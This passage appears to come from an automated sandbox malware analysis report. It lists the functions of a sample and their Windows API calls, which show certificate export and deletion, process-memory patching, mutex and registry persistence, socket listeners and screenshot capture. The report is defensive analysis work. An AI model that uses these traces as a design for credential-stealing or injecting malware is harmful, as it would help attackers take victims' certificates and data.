    • InitializeSecurityDescriptor.ADVAPI32(00A22B08,00000001), ref: 00A0BB3E
    • SetSecurityDescriptorDacl.ADVAPI32(00A22B08,00000001,00000000,00000000), ref: 00A0BB4F
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00A22F90,00000000), ref: 00A0BB65
    • GetSecurityDescriptorSacl.ADVAPI32(00A22F90,?,009F7CC0,00000000), ref: 00A0BB81
    • SetSecurityDescriptorSacl.ADVAPI32(00A22B08,?,009F7CC0,00000000), ref: 00A0BB95
    • LocalFree.KERNEL32(00A22F90), ref: 00A0BBA2
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F79BF, Relevance: 12.1, APIs: 8, Instructions: 134
    APIs
    • InitializeCriticalSection.KERNEL32(00A24170), ref: 009F79D6
    • InitializeCriticalSection.KERNEL32(00A23FEC), ref: 009F7A0B
      • Part of subcall function 009F80FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 009F817A
    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009F7A33
    • ReadFile.KERNEL32(?,?,000001FE,000001FE,00000000), ref: 009F7A50
    • CloseHandle.KERNEL32 ref: 009F7A61
      • Part of subcall function 00A17234: InterlockedExchange.KERNEL32(00A24140,00000000), ref: 00A17252
      • Part of subcall function 00A17234: InterlockedExchange.KERNEL32(00A24120,00000000), ref: 00A1725A
      • Part of subcall function 00A17234: InitializeCriticalSection.KERNEL32(00A240F8), ref: 00A17261
      • Part of subcall function 00A17234: CoInitializeEx.OLE32(00000000,00000002), ref: 00A1735E
      • Part of subcall function 00A17234: CoCreateInstance.OLE32(009F1690,00000000,00004401,009F1680,?), ref: 00A17394
      • Part of subcall function 009F8F85: GetModuleHandleW.KERNEL32(?), ref: 009F8FAB
    • InitializeCriticalSection.KERNEL32(00A23F6C), ref: 009F7AA8
      • Part of subcall function 00A1BBC0: GetCurrentThreadId.KERNEL32 ref: 00A1BBCA
      • Part of subcall function 00A1BBC0: GetThreadDesktop.USER32 ref: 00A1BBD1
      • Part of subcall function 00A1BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00A1BBEB
    • GetModuleHandleW.KERNEL32(?), ref: 009F7ACF
    • GetModuleHandleW.KERNEL32(?), ref: 009F7AD8
      • Part of subcall function 00A16387: GetProcAddress.KERNEL32(?,?), ref: 00A163DB
      • Part of subcall function 00A16387: GetProcAddress.KERNEL32(?,?), ref: 00A163E7
      • Part of subcall function 00A16387: GetProcAddress.KERNEL32(?,?), ref: 00A163F3
      • Part of subcall function 00A16387: GetProcAddress.KERNEL32(?,?), ref: 00A163FF
      • Part of subcall function 00A16387: GetProcAddress.KERNEL32(?,?), ref: 00A1640B
      • Part of subcall function 00A15E00: VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00A15E37
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A10A6C, Relevance: 12.1, APIs: 8, Instructions: 120
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,009F71B8), ref: 00A10A87
    • CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 00A10AA3
    • CertEnumCertificatesInStore.CRYPT32 ref: 00A10AAF
    • PFXExportCertStoreEx.CRYPT32(?,00000004,?,00000000,00000004), ref: 00A10AED
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • PFXExportCertStoreEx.CRYPT32(?,00000004,00000000,00000000,00000004,?,00000004,?,00000000,00000004), ref: 00A10B1A
    • CharLowerW.USER32 ref: 00A10B38
    • GetSystemTime.KERNEL32(?), ref: 00A10B43
      • Part of subcall function 00A10A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00A10B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00A10A23
      • Part of subcall function 00A08E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00A08EB4
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • CertCloseStore.CRYPT32(?,00000000,?,00000000), ref: 00A10BCB
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0DD7A, Relevance: 10.6, APIs: 7, Instructions: 109
    APIs
      • Part of subcall function 00A0DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A0DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 00A0DDB9
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0DDE0
      • Part of subcall function 00A0DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A0DE2A
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE57
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE87
    • FindNextFileW.KERNEL32(?,?), ref: 00A0DEB5
    • FindClose.KERNEL32(?), ref: 00A0DEC7
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A17234, Relevance: 7.7, APIs: 5, Instructions: 184
    APIs
    • InterlockedExchange.KERNEL32(00A24140,00000000), ref: 00A17252
    • InterlockedExchange.KERNEL32(00A24120,00000000), ref: 00A1725A
    • InitializeCriticalSection.KERNEL32(00A240F8), ref: 00A17261
      • Part of subcall function 00A0C768: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?), ref: 00A0C780
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00A1735E
    • CoCreateInstance.OLE32(009F1690,00000000,00004401,009F1680,?), ref: 00A17394
      • Part of subcall function 00A0EBA1: CoUninitialize.OLE32 ref: 00A0EBAF
      • Part of subcall function 00A0C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A0C80C
      • Part of subcall function 00A0C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A0C826
      • Part of subcall function 00A0C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00A0C835
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0CD7C, Relevance: 7.6, APIs: 5, Instructions: 108
    APIs
      • Part of subcall function 00A0CD37: VirtualQueryEx.KERNEL32(000000FF,?,?,0000001C), ref: 00A0CD4C
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 00A0CDA9
    • ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 00A0CDCE
    • WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00A0CE47
    • WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 00A0CE6F
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 00A0CE86
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A10BDC, Relevance: 7.5, APIs: 5, Instructions: 36
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,009F71B8,?,?,009F8470), ref: 00A10BE7
    • CertDuplicateCertificateContext.CRYPT32(?,?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C00
    • CertDeleteCertificateFromStore.CRYPT32(?,?,?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C0B
    • CertEnumCertificatesInStore.CRYPT32(?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C13
    • CertCloseStore.CRYPT32(?,?,?,?,?,?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C1F
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A13AE1, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 88
    APIs
      • Part of subcall function 00A0C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A0C6C6
      • Part of subcall function 00A0C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A0C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A13B48
    • SHGetFolderPathW.SHELL32(00000000,00000023,00000000,00000000,?), ref: 00A13B9A
      • Part of subcall function 00A0DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00A0DDB9
      • Part of subcall function 00A0DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00A0DDE0
      • Part of subcall function 00A0DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00A0DE2A
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE57
      • Part of subcall function 00A0DD7A: Sleep.KERNEL32(00000000), ref: 00A0DE87
      • Part of subcall function 00A0DD7A: FindNextFileW.KERNEL32(?,?), ref: 00A0DEB5
      • Part of subcall function 00A0DD7A: FindClose.KERNEL32(?), ref: 00A0DEC7
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1667A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86
    APIs
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
    • NtQueryInformationProcess.NTDLL(?,00000000,?,00000018), ref: 00A166A7
    • GetProcessImageFileNameW.PSAPI(?,?,00000104), ref: 00A166CB
      • Part of subcall function 00A04EBF: CharLowerW.USER32 ref: 00A04EF2
    • CloseHandle.KERNEL32 ref: 00A16760
      • Part of subcall function 00A09B15: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00A09B22
      • Part of subcall function 00A09B15: Thread32First.KERNEL32(?,?), ref: 00A09B3D
      • Part of subcall function 00A09B15: Thread32Next.KERNEL32(?,0000001C), ref: 00A09B53
      • Part of subcall function 00A09B15: CloseHandle.KERNEL32 ref: 00A09B5E
      • Part of subcall function 009F7E34: CreateMutexW.KERNEL32(00A22AFC,00000001,?), ref: 009F7E7C
      • Part of subcall function 009F7F10: DuplicateHandle.KERNEL32(000000FF,?,?,?,00000000,00000000,00000002), ref: 009F7F40
      • Part of subcall function 009F7F10: VirtualFreeEx.KERNEL32(?,7C809BE7,00000000,00008000), ref: 009F802C
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A09B15, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00A09B22
    • Thread32First.KERNEL32(?,?), ref: 00A09B3D
    • Thread32Next.KERNEL32(?,0000001C), ref: 00A09B53
    • CloseHandle.KERNEL32 ref: 00A09B5E
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A129C7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93
    APIs
    • CoCreateInstance.OLE32(009F7228,00000000,00004401,009F7238,?), ref: 00A129F7
    • CoCreateInstance.OLE32(009F71F8,00000000,00004401,009F7208,?), ref: 00A12A4A
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A13374, Relevance: 4.7, APIs: 3, Instructions: 214
    APIs
      • Part of subcall function 00A0C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00A0C6C6
      • Part of subcall function 00A0C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A0C748
    • LoadLibraryW.KERNEL32(?), ref: 00A133BC
    • GetProcAddress.KERNEL32(?,?), ref: 00A133E0
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • FreeLibrary.KERNEL32(?), ref: 00A135BC
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0C842, Relevance: 4.6, APIs: 3, Instructions: 54
    APIs
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 00A0C867
      • Part of subcall function 00A08130: HeapAlloc.KERNEL32(00000008,?,00A0C881), ref: 00A08141
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 00A0C896
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    • RegCloseKey.ADVAPI32(?), ref: 00A0C8B6
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0C7EE, Relevance: 4.5, APIs: 3, Instructions: 36
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A0C80C
    • RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A0C826
    • RegCloseKey.ADVAPI32(00000000), ref: 00A0C835
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 009F8406, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73
    APIs
      • Part of subcall function 009F7BA3: HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 009F7BDA
      • Part of subcall function 009F7BA3: GetProcessHeap.KERNEL32 ref: 009F7BE9
      • Part of subcall function 009F7BA3: WSAStartup.WS2_32(00000202,?), ref: 009F7C1C
      • Part of subcall function 009F7BA3: InitializeCriticalSection.KERNEL32(00A245A0), ref: 009F7C3D
      • Part of subcall function 009F7BA3: GetCurrentProcess.KERNEL32 ref: 009F7C55
      • Part of subcall function 009F7BA3: GetModuleFileNameExW.PSAPI ref: 009F7C5C
      • Part of subcall function 009F7BA3: CreateEventW.KERNEL32(00A22AFC,00000001,00000000,00000000), ref: 009F7CD5
      • Part of subcall function 009F7BA3: GetLengthSid.ADVAPI32(?,000000FF,00A22AC0,00A22F90), ref: 009F7D0A
      • Part of subcall function 009F7BA3: GetCurrentProcessId.KERNEL32 ref: 009F7D37
      • Part of subcall function 00A10533: CreateMutexW.KERNEL32(00A22AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A10556
    • CoInitializeEx.OLE32(00000000,00000002), ref: 009F84A9
      • Part of subcall function 00A0EBA1: CoUninitialize.OLE32 ref: 00A0EBAF
      • Part of subcall function 00A10A6C: CertOpenSystemStoreW.CRYPT32(00000000,009F71B8), ref: 00A10A87
      • Part of subcall function 00A10A6C: CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 00A10AA3
      • Part of subcall function 00A10A6C: CertEnumCertificatesInStore.CRYPT32 ref: 00A10AAF
      • Part of subcall function 00A10A6C: PFXExportCertStoreEx.CRYPT32(?,00000004,?,00000000,00000004), ref: 00A10AED
      • Part of subcall function 00A10A6C: PFXExportCertStoreEx.CRYPT32(?,00000004,00000000,00000000,00000004,?,00000004,?,00000000,00000004), ref: 00A10B1A
      • Part of subcall function 00A10A6C: CharLowerW.USER32 ref: 00A10B38
      • Part of subcall function 00A10A6C: GetSystemTime.KERNEL32(?), ref: 00A10B43
      • Part of subcall function 00A10A6C: CertCloseStore.CRYPT32(?,00000000,?,00000000), ref: 00A10BCB
      • Part of subcall function 00A10BDC: CertOpenSystemStoreW.CRYPT32(00000000,009F71B8,?,?,009F8470), ref: 00A10BE7
      • Part of subcall function 00A10BDC: CertDuplicateCertificateContext.CRYPT32(?,?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C00
      • Part of subcall function 00A10BDC: CertDeleteCertificateFromStore.CRYPT32(?,?,?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C0B
      • Part of subcall function 00A10BDC: CertEnumCertificatesInStore.CRYPT32(?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C13
      • Part of subcall function 00A10BDC: CertCloseStore.CRYPT32(?,?,?,?,?,?,00000000,?,00B2FFB0,?,?,009F8470), ref: 00A10C1F
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A10533, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
    APIs
    • CreateMutexW.KERNEL32(00A22AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A10556
      • Part of subcall function 00A10477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A104BA
      • Part of subcall function 00A0BC91: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A0BC94
      • Part of subcall function 00A0BC91: CloseHandle.KERNEL32 ref: 00A0BCA6
    Strings
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0C7BB, Relevance: 3.0, APIs: 2, Instructions: 20
    APIs
    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00A1C5CF,?), ref: 00A0C7D3
    • RegCloseKey.ADVAPI32(?), ref: 00A0C7E1
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A12C04, Relevance: 1.7, APIs: 1, Instructions: 207
    APIs
    • CoCreateInstance.OLE32(009F71D8,00000000,00004401,009F71E8,?), ref: 00A12C29
      • Part of subcall function 00A08160: HeapFree.KERNEL32(00000000,00000000,00A1C62F,?,?), ref: 00A08173
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A15E00, Relevance: 1.6, APIs: 1, Instructions: 62
    APIs
    • VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00A15E37
      • Part of subcall function 00A15D09: VirtualProtectEx.KERNEL32(000000FF,?,0000001E,00000040,7C80E4DD), ref: 00A15D4B
      • Part of subcall function 00A15D09: WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00A15D61
      • Part of subcall function 00A15D09: VirtualProtectEx.KERNEL32(000000FF,?,0000001E,7C80E4DD,7C80E4DD), ref: 00A15D7B
      • Part of subcall function 00A0CD7C: VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 00A0CDA9
      • Part of subcall function 00A0CD7C: ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 00A0CDCE
      • Part of subcall function 00A0CD7C: WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00A0CE47
      • Part of subcall function 00A0CD7C: WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 00A0CE6F
      • Part of subcall function 00A0CD7C: VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 00A0CE86
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1C1AF, Relevance: 1.5, APIs: 1, Instructions: 24
    APIs
    • DefDlgProcA.USER32(?,?,?,?), ref: 00A1C1EA
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
      • Part of subcall function 00A1BEC4: GetMenu.USER32(?), ref: 00A1BEEE
      • Part of subcall function 00A1BEC4: GetMenuItemCount.USER32 ref: 00A1BF04
      • Part of subcall function 00A1BEC4: GetMenuState.USER32(?,00000000,00000400), ref: 00A1BF1C
      • Part of subcall function 00A1BEC4: HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 00A1BF2C
      • Part of subcall function 00A1BEC4: MenuItemFromPoint.USER32(?,?,?,?), ref: 00A1BF52
      • Part of subcall function 00A1BEC4: GetMenuState.USER32(?,?,00000400), ref: 00A1BF66
      • Part of subcall function 00A1BEC4: EndMenu.USER32 ref: 00A1BF76
      • Part of subcall function 00A1BEC4: HiliteMenuItem.USER32(?,?,?,00000480), ref: 00A1BF86
      • Part of subcall function 00A1BEC4: GetSubMenu.USER32 ref: 00A1BFAA
      • Part of subcall function 00A1BEC4: GetMenuItemRect.USER32(?,?,?,?), ref: 00A1BFC4
      • Part of subcall function 00A1BEC4: TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 00A1BFE5
      • Part of subcall function 00A1BEC4: GetMenuItemID.USER32 ref: 00A1BFFD
      • Part of subcall function 00A1BEC4: SendMessageW.USER32(?,00000111,?,00000000), ref: 00A1C016
      • Part of subcall function 00A1BEC4: SetKeyboardState.USER32 ref: 00A1C055
      • Part of subcall function 00A1BEC4: SetEvent.KERNEL32 ref: 00A1C061
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1C0DD, Relevance: 1.5, APIs: 1, Instructions: 24
    APIs
    • DefWindowProcW.USER32(?,?,?,?), ref: 00A1C118
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
      • Part of subcall function 00A1BEC4: GetMenu.USER32(?), ref: 00A1BEEE
      • Part of subcall function 00A1BEC4: GetMenuItemCount.USER32 ref: 00A1BF04
      • Part of subcall function 00A1BEC4: GetMenuState.USER32(?,00000000,00000400), ref: 00A1BF1C
      • Part of subcall function 00A1BEC4: HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 00A1BF2C
      • Part of subcall function 00A1BEC4: MenuItemFromPoint.USER32(?,?,?,?), ref: 00A1BF52
      • Part of subcall function 00A1BEC4: GetMenuState.USER32(?,?,00000400), ref: 00A1BF66
      • Part of subcall function 00A1BEC4: EndMenu.USER32 ref: 00A1BF76
      • Part of subcall function 00A1BEC4: HiliteMenuItem.USER32(?,?,?,00000480), ref: 00A1BF86
      • Part of subcall function 00A1BEC4: GetSubMenu.USER32 ref: 00A1BFAA
      • Part of subcall function 00A1BEC4: GetMenuItemRect.USER32(?,?,?,?), ref: 00A1BFC4
      • Part of subcall function 00A1BEC4: TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 00A1BFE5
      • Part of subcall function 00A1BEC4: GetMenuItemID.USER32 ref: 00A1BFFD
      • Part of subcall function 00A1BEC4: SendMessageW.USER32(?,00000111,?,00000000), ref: 00A1C016
      • Part of subcall function 00A1BEC4: SetKeyboardState.USER32 ref: 00A1C055
      • Part of subcall function 00A1BEC4: SetEvent.KERNEL32 ref: 00A1C061
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A1C123, Relevance: 1.5, APIs: 1, Instructions: 24
    APIs
    • DefWindowProcA.USER32(?,?,?,?), ref: 00A1C15E
      • Part of subcall function 009F803E: WaitForSingleObject.KERNEL32(00000000,00A10285), ref: 009F8046
      • Part of subcall function 00A1BEC4: GetMenu.USER32(?), ref: 00A1BEEE
      • Part of subcall function 00A1BEC4: GetMenuItemCount.USER32 ref: 00A1BF04
      • Part of subcall function 00A1BEC4: GetMenuState.USER32(?,00000000,00000400), ref: 00A1BF1C
      • Part of subcall function 00A1BEC4: HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 00A1BF2C
      • Part of subcall function 00A1BEC4: MenuItemFromPoint.USER32(?,?,?,?), ref: 00A1BF52
      • Part of subcall function 00A1BEC4: GetMenuState.USER32(?,?,00000400), ref: 00A1BF66
      • Part of subcall function 00A1BEC4: EndMenu.USER32 ref: 00A1BF76
      • Part of subcall function 00A1BEC4: HiliteMenuItem.USER32(?,?,?,00000480), ref: 00A1BF86
      • Part of subcall function 00A1BEC4: GetSubMenu.USER32 ref: 00A1BFAA
      • Part of subcall function 00A1BEC4: GetMenuItemRect.USER32(?,?,?,?), ref: 00A1BFC4
      • Part of subcall function 00A1BEC4: TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 00A1BFE5
      • Part of subcall function 00A1BEC4: GetMenuItemID.USER32 ref: 00A1BFFD
      • Part of subcall function 00A1BEC4: SendMessageW.USER32(?,00000111,?,00000000), ref: 00A1C016
      • Part of subcall function 00A1BEC4: SetKeyboardState.USER32 ref: 00A1C055
      • Part of subcall function 00A1BEC4: SetEvent.KERNEL32 ref: 00A1C061
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A08148, Relevance: 1.3, APIs: 1, Instructions: 9
    APIs
    • HeapAlloc.KERNEL32(00000000,009F2C2C,00A081A5,009F8067,009F2C30,00001000), ref: 00A08159
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0EBA1, Relevance: 1.3, APIs: 1, Instructions: 6
    APIs
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd

    Non-executed Functions

    Function 00A0B57B, Relevance: 6.0, APIs: 4, Instructions: 32
    APIs
    • socket.WS2_32(?,00000001,00000006), ref: 00A0B584
    • bind.WS2_32 ref: 00A0B5A4
    • listen.WS2_32(?,00000000), ref: 00A0B5B3
    • #3.WS2_32(?,?,?,?,?,00000001,00000006,?,009FA401,7FFFFFFF,00000000,?), ref: 00A0B5BE
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A0B962, Relevance: 4.5, APIs: 3, Instructions: 27
    APIs
    • socket.WS2_32(?,00000002,00000011), ref: 00A0B96B
    • bind.WS2_32 ref: 00A0B98B
    • #3.WS2_32(?,?,?,?,?,00000002,00000011,?,00A039E8), ref: 00A0B996
    Memory Dump Source
    • Source File: 00000008.00000002.722457723.009F0000.00000040.sdmp, Offset: 009F0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_8_2_reader_sl.jbxd
    Function 00A07B9E, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 389
    APIs
    • LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00A07BD0
    • GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00A07BE1
    • GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00A07BEE
    • GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00A07BFB
    • GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00A07C08
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00A07C15
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00A07C22
    • GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00A07C2F
    • LoadLibraryA.KERNEL32(ole32.dll), ref: 00A07C77
    • GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00A07C82
    • LoadLibraryA.KERNEL32(gdi32.dll), ref: 00A07C94
